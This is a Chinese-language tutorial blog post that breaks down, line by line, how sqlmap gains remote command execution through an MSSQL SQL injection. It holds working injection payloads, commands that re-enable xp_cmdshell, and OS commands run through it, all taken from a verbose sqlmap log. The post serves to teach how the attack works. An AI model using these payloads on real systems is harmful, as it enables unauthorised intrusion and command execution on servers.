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SQLmap MSSQL to RCE 原理

0x00 前言

有天在安全測試某個站點的Server時，意外發現具有SQL漏洞，然後就丟到SQLmap上發現就直接RCE了…
不過一直以來不是很了解RCE的過程，這是不好的一件事情，在很多進行fuzzing的場景中，我們勢必需要理解其注入過程做了什麼事情，這才是學會滲透重要的一環。
因此，我今日有感而發，決定寫此篇文章，來助於理解SQLmap在MSSQL裡如何拿到RCE。

0x01 注入過程研究

下面附上我那次注入過程使用「-v 3」參數的詳細過程，然後拆解講解(有將原本的過程透漏的機敏資訊抹去)


























































































---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=5' AND 8774=8774 AND 'wXZv'='wXZv&u=%e5%8f%a3%e5%90%83&pol=%e4%b8%80%e8%88%ac%e5%85%a7%e7%a7%91
    Vector: AND [INFERENCE]

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: id=5';WAITFOR DELAY '0:0:10'--&u=%e5%8f%a3%e5%90%83&pol=%e4%b8%80%e8%88%ac%e5%85%a7%e7%a7%91
    Vector: ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--

    Type: time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)
    Payload: id=5' WAITFOR DELAY '0:0:10'--&u=%e5%8f%a3%e5%90%83&pol=%e4%b8%80%e8%88%ac%e5%85%a7%e7%a7%91
    Vector: IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: id=-3169' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+CHAR(112)+CHAR(108)+CHAR(117)+CHAR(122)+CHAR(105)+CHAR(112)+CHAR(81)+CHAR(84)+CHAR(77)+CHAR(122)+CHAR(86)+CHAR(87)+CHAR(103)+CHAR(65)+CHAR(105)+CHAR(118)+CHAR(78)+CHAR(105)+CHAR(80)+CHAR(98)+CHAR(116)+CHAR(122)+CHAR(99)+CHAR(103)+CHAR(113)+CHAR(82)+CHAR(87)+CHAR(88)+CHAR(67)+CHAR(108)+CHAR(113)+CHAR(122)+CHAR(103)+CHAR(71)+CHAR(116)+CHAR(82)+CHAR(74)+CHAR(86)+CHAR(88)+CHAR(86)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113),NULL,NULL,NULL-- mUbd&u=%e5%8f%a3%e5%90%83&pol=%e4%b8%80%e8%88%ac%e5%85%a7%e7%a7%91
    Vector:  UNION ALL SELECT NULL,NULL,NULL,[QUERY],NULL,NULL,NULL[GENERIC_SQL_COMMENT]
---
[17:04:08] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 10 or 11 or 2019 or 2022 or 2016
web application technology: Microsoft IIS 10.0, ASP.NET 4.0.30319, ASP.NET
back-end DBMS: Microsoft SQL Server 2016
[17:04:08] [DEBUG] identifying Microsoft SQL Server error log directory that sqlmap will use to store temporary files with commands' output
[17:04:08] [DEBUG] resuming configuration option 'code' (200)
[17:04:08] [PAYLOAD] -9069' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+ISNULL(CAST(SERVERPROPERTY(CHAR(69)+CHAR(114)+CHAR(114)+CHAR(111)+CHAR(114)+CHAR(76)+CHAR(111)+CHAR(103)+CHAR(70)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(78)+CHAR(97)+CHAR(109)+CHAR(101)) AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113),NULL,NULL,NULL-- RpBj
[17:04:14] [DEBUG] performed 1 query in 5.39 seconds
[17:04:14] [DEBUG] going to use 'C:/Program Files/Microsoft SQL Server/MSSQL13.MSSQLSERVER/MSSQL/Log' as temporary files directory
[17:04:14] [INFO] testing if current user is DBA
[17:04:14] [PAYLOAD] -4739' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+(CASE WHEN (IS_SRVROLEMEMBER(CHAR(115)+CHAR(121)+CHAR(115)+CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110))=1) THEN CHAR(49) ELSE CHAR(48) END)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113),NULL,NULL,NULL-- LoIP
[17:04:17] [DEBUG] performed 1 query in 3.00 seconds
[17:04:17] [INFO] checking if xp_cmdshell extended procedure is available, please wait..
[17:04:17] [PAYLOAD] 5';DECLARE @hhsr VARCHAR(8000);SET @hhsr=0x70696e67202d6e203230203132372e302e302e31;EXEC master..xp_cmdshell @hhsr--
[17:04:21] [WARNING] reflective value(s) found and filtering out
[17:04:21] [WARNING] time-based standard deviation method used on a model with less than 30 response times
xp_cmdshell extended procedure does not seem to be available. Do you want sqlmap to try to re-enable it? [Y/n] Y
[17:04:21] [DEBUG] used the default behavior, running in batch mode
[17:04:21] [DEBUG] configuring xp_cmdshell using sp_configure stored procedure
[17:04:21] [PAYLOAD] 5';EXEC master..sp_configure 'SHOW advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'xp_cmdshell',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'SHOW advanced options',0; RECONFIGURE WITH OVERRIDE--
[17:04:24] [PAYLOAD] 5';DECLARE @ajfa VARCHAR(8000);SET @ajfa=0x70696e67202d6e203230203132372e302e302e31;EXEC master..xp_cmdshell @ajfa--
[17:04:47] [WARNING] time-based standard deviation method used on a model with less than 30 response times
[17:04:47] [INFO] xp_cmdshell re-enabled successfully
[17:04:47] [DEBUG] creating a support table to write commands standard output to
[17:04:47] [PAYLOAD] 5';DROP TABLE sqlmapoutput--
[17:04:50] [PAYLOAD] 5';CREATE TABLE sqlmapoutput(id INT PRIMARY KEY IDENTITY, data NVARCHAR(4000))--
[17:04:53] [INFO] testing if xp_cmdshell extended procedure is usable
[17:04:53] [PAYLOAD] 5';DECLARE @qjaa VARCHAR(8000);SET @qjaa=0x6563686f2031;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @qjaa--
[17:04:56] [PAYLOAD] -3373' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+(SELECT data FROM sqlmapoutput ORDER BY id FOR JSON AUTO, INCLUDE_NULL_VALUES)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113),NULL,NULL,NULL-- yWAq
[17:05:00] [DEBUG] performed 1 query in 3.81 seconds
[17:05:00] [PAYLOAD] 5';DELETE FROM sqlmapoutput--
[17:05:03] [INFO] xp_cmdshell extended procedure is usable
[17:05:03] [INFO] going to use extended procedure 'xp_cmdshell' for operating system command execution
[17:05:03] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> powershell pwd
do you want to retrieve the command standard output? [Y/n/a] Y
[17:08:34] [DEBUG] used the default behavior, running in batch mode
[17:08:34] [PAYLOAD] 5';DECLARE @vkdv VARCHAR(8000);SET @vkdv=0x706f7765727368656c6c20707764;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @vkdv--
[17:08:40] [PAYLOAD] -4007' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+(SELECT data FROM sqlmapoutput ORDER BY id FOR JSON AUTO, INCLUDE_NULL_VALUES)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113),NULL,NULL,NULL-- EswF
[17:08:42] [DEBUG] performed 1 query in 2.13 seconds
[17:08:42] [PAYLOAD] 5';DELETE FROM sqlmapoutput--
command standard output:
---
NULL
Path
----
C:\Windows\system32
NULL
NULL
NULL
---
os-shell> q
[17:17:19] [INFO] cleaning up the database management system
[17:17:19] [DEBUG] removing support tables
[17:17:19] [PAYLOAD] 5';DROP TABLE sqlmapfile--
[17:17:23] [PAYLOAD] 5';DROP TABLE sqlmapfilehex--
[17:17:26] [PAYLOAD] 5';DROP TABLE sqlmapoutput--
do you want to remove UDF 'master..new_xp_cmdshell'? [Y/n] Y
[17:17:30] [DEBUG] used the default behavior, running in batch mode
[17:17:30] [DEBUG] removing UDF 'master..new_xp_cmdshell'
[17:17:30] [PAYLOAD] 5';DROP FUNCTION master..new_xp_cmdshell--
[17:17:33] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
[17:17:33] [INFO] database management system cleanup finished
[17:17:33] [WARNING] remember that UDF dynamic-link library files saved on the file system can only be deleted manually
[17:17:33] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[17:17:33] [INFO] fetched data logged to text files under '儲存路徑'

基本上就是很長一串的payload，然後注入類型基本上除了報錯注入其他都是可以用的，那我們開始來拆解過程。

  • 23~27行單純就是解析後端技術，這不是今天的重點，跳過。

    我們把29行展開來看

    
















    ​​UNION ALL
​​    SELECT
​​        NULL,
​​        NULL,
​​        NULL,
​​        CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+
​​        ISNULL(
​​            CAST(
​​                SERVERPROPERTY(
​​                    CHAR(69)+CHAR(114)+CHAR(114)+CHAR(111)+CHAR(114)+CHAR(76)+CHAR(111)+CHAR(103)+CHAR(70)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(78)+CHAR(97)+CHAR(109)+CHAR(101)
​​                ) AS NVARCHAR(4000)
​​            ),
​​            CHAR(32)
​​        )+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113),
​​        NULL,
​​        NULL,
​​        NULL-- RpBj

    我們把char()還原成字串後可以得到如下

    












    ​​UNION ALL
​​    SELECT
​​        NULL,
​​        NULL,
​​        NULL,
​​        'qxkvq'+
​​        ISNULL(
​​            CAST(SERVERPROPERTY('ErrorLogFileName') AS NVARCHAR(4000)),
​​            CHAR(32)
​​        )+'qqpjq',
​​        NULL,
​​        NULL,
​​        NULL-- RpBj

    如果懶得一個一個對ASCII，可以用下方提供的python code來跑

    


    ​​# input: CHAR(69)+CHAR(114)+CHAR(114)+CHAR(111)+CHAR(114)+CHAR(76)+CHAR(111)+CHAR(103)+CHAR(70)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(78)+CHAR(97)+CHAR(109)+CHAR(101)
​​# output: ErrorLogFileName
​​print(eval(input("input:").replace('CHAR','chr')))

    • 我們看第8行

      ​​​​​​CAST(SERVERPROPERTY('ErrorLogFileName') AS NVARCHAR(4000))

      這句意思是，將 SQL Server 錯誤記錄檔，目前最新的完整檔案路徑與檔案名稱，轉換成 NVARCHAR() 格式，並可容納4000個字節，這個語法可以拿去w3school去測試。

    • 而7~10的意思是說，如果第八行的運行結果為NULL的話，則將他轉換成char(32)，也就是一個空白

  • 我們回到注入過程，可以看到第29~31行，就是去找有沒有找到錯誤記錄檔，如果有，就把它作為臨時文件目錄。

  • 接著第32行提示說，測試當前用戶是否為 DBA，我們分析第33行

    















    ​​UNION ALL
​​    SELECT
​​        NULL,
​​        NULL,
​​        NULL,
​​        CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+
​​        (
​​            CASE WHEN (
​​                IS_SRVROLEMEMBER(
​​                    CHAR(115)+CHAR(121)+CHAR(115)+CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110)
​​                )=1
​​            ) THEN CHAR(49) ELSE CHAR(48) END
​​        )+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113),
​​        NULL,
​​        NULL,
​​        NULL-- LoIP

    還原ASCII後

    













    ​​UNION ALL
​​    SELECT
​​        NULL,
​​        NULL,
​​        NULL,
​​        'qxkvq'+
​​        (
​​            CASE WHEN (
​​                IS_SRVROLEMEMBER('sysadmin')=1
​​            ) THEN '1' ELSE '0' END
​​        )+'qqpjq',
​​        NULL,
​​        NULL,
​​        NULL-- LoIP
    • 第9行，判斷是否為SA權限，如果是，IS_SRVROLEMEMBER('sysadmin')會得到1，否則為0。
    • 第8~10行，單純就是看內容如果成立，得到1，否則為0，這裡有篇文章有解釋可以看看。

    我們回到注入過程繼續分析。

  • 35行測試 xp_cmdshell 是否可用，看看第36行payload

    


    ​​DECLARE @hhsr VARCHAR(8000);
​​SET @hhsr=0x70696e67202d6e203230203132372e302e302e31;
​​EXEC master..xp_cmdshell @hhsr--

    用下方的python code解析hex

    


    ​​# input: 0x70696e67202d6e203230203132372e302e302e31
​​# output: ping -n 20 127.0.0.1
​​print(f"output: {bytearray.fromhex(input('input: ')[2:]).decode()}")

    簡單說就是把 cmd ping 指令字串存到hhsr變數後，透過 xp_cmdshell 拿去執行看看能不能跑，至於為何是ping 20次，可以理解成一種時間注入，因為不一定所有的注入都會回傳結果，這個很好理解。

    我們回到注入過程繼續分析。

  • 第39行，SQLmap檢測後發現， xp_cmdshell 貌似是關閉狀態，因此詢問是否要開(當然開阿#
    我們解析第42行。

    











    ​​-- 開啟允許修改高級參數
​​EXEC master..sp_configure 'SHOW advanced options',1;
​​-- 將剛剛設定的參數啟動
​​RECONFIGURE WITH OVERRIDE;
​​-- 啟用 xp_cmdshell 
​​EXEC master..sp_configure 'xp_cmdshell',1;
​​-- 將剛剛設定的參數啟動
​​RECONFIGURE WITH OVERRIDE;
​​-- 關閉允許修改高級參數
​​EXEC master..sp_configure 'SHOW advanced options',0;
​​-- 將剛剛設定的參數啟動
​​RECONFIGURE WITH OVERRIDE--

    這裡可以看到SQLmap為了避免汙染環境，有把啟用的參數再關回去。

  • 第43行，單純就是打開 xp_cmdshell 後再把剛剛的 ping 指令跑一次看有沒有生效。

    


    ​​DECLARE @ajfa VARCHAR(8000);
​​SET @ajfa=0x70696e67202d6e203230203132372e302e302e31;
​​EXEC master..xp_cmdshell @ajfa--

    解析還原後

    


    ​​DECLARE @ajfa VARCHAR(8000);
​​SET @ajfa='ping -n 20 127.0.0.1';
​​EXEC master..xp_cmdshell @ajfa--

    我們回到注入過程繼續分析。

  • 45行 告訴你 xp_cmdshell 指令已被啟用完畢。

  • 46行準備創建一個用來接收指令執行結果的 table。

  • 47跟48行如下

    

    ​​DROP TABLE sqlmapoutput--
​​CREATE TABLE sqlmapoutput(id INT PRIMARY KEY IDENTITY, data NVARCHAR(4000))--

    為了避免建表失敗，不管有沒有，他先刪一次，之後再建。

  • 49行跟你說，再測試一次 xp_cmdshell 指令是否可以使用。

  • 50行如下

    


    ​​DECLARE @qjaa VARCHAR(8000);
​​SET @qjaa=0x6563686f2031;
​​INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @qjaa--

    解析後

    


    ​​DECLARE @qjaa VARCHAR(8000);
​​SET @qjaa='echo 1';
​​INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @qjaa--

    簡單說就是把 cmd 指令 echo 1 的結果放到 SQLmap 剛剛創建的 table 「sqlmapoutput」 裡面。

  • 51行如下

    











    ​​UNION ALL
​​    SELECT
​​        NULL,
​​        NULL,
​​        NULL,
​​        CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+
​​        (
​​            SELECT data FROM sqlmapoutput ORDER BY id FOR JSON AUTO, INCLUDE_NULL_VALUES
​​        )+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113),
​​        NULL,
​​        NULL,
​​        NULL-- yWAq

    解析後

    











    ​​UNION ALL
​​    SELECT
​​        NULL,
​​        NULL,
​​        NULL,
​​        'qxkvq'+
​​        (
​​            SELECT data FROM sqlmapoutput ORDER BY id FOR JSON AUTO, INCLUDE_NULL_VALUES
​​        )+'qqpjq',
​​        NULL,
​​        NULL,
​​        NULL-- yWAq

    簡單說就是把剛剛 cmd 指令的執行結果，從SQLmap 創建的 table 裡再拿出來。

  • 53行

    ​​DELETE FROM sqlmapoutput--

    把 table 裡的數據都清除掉了。然後54行裡告訴你 xp_cmdshell 是可以用的，可以發現他是透過剛剛這樣的一個使用流程來做檢測的。

    我們回到注入過程繼續分析。

  • 然後57行可以看到他已經把prompt 「os-shell>」丟給你，代表你已經可以開始下 shell command 了，我這裡測試了powershell 裡的 pwd 命令，可以看到路徑是在 C:\Windows\system32 裡面，期間，SQLmap 做的指令，我們來分析。

  • 第60行如下

    


    ​​DECLARE @vkdv VARCHAR(8000);
​​SET @vkdv=0x706f7765727368656c6c20707764;
​​INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @vkdv--

    解析後

    


    ​​DECLARE @vkdv VARCHAR(8000);
​​SET @vkdv='powershell pwd';
​​INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @vkdv--

  • 61行如下

    











    ​​UNION ALL
​​    SELECT
​​        NULL,
​​        NULL,
​​        NULL,
​​        CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+
​​        (
​​            SELECT data FROM sqlmapoutput ORDER BY id FOR JSON AUTO, INCLUDE_NULL_VALUES
​​        )+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113),
​​        NULL,
​​        NULL,
​​        NULL-- EswF

    解析後

    











    ​​UNION ALL
​​    SELECT
​​        NULL,
​​        NULL,
​​        NULL,
​​        'qxkvq'+
​​        (
​​            SELECT data FROM sqlmapoutput ORDER BY id FOR JSON AUTO, INCLUDE_NULL_VALUES
​​        )+'qqpjq',
​​        NULL,
​​        NULL,
​​        NULL-- EswF

  • 63行如下

    ​​DELETE FROM sqlmapoutput--

    恩，如剛剛上面所解析的一樣，就是拿 xp_cmdshell 來執行我們下的指令，然後再利用 union-based來獲取執行的結果。

    我們回到注入過程繼續分析。

  • 第74行，我下了離開的指令，SQLmap 告訴你說，清理數據庫管理系統，以及刪除 SQLmap 所建立的表。

下面基本上就是在還原滲透前的系統環境，就不多做解釋了。

沒了，終於寫完了，感謝觀看。

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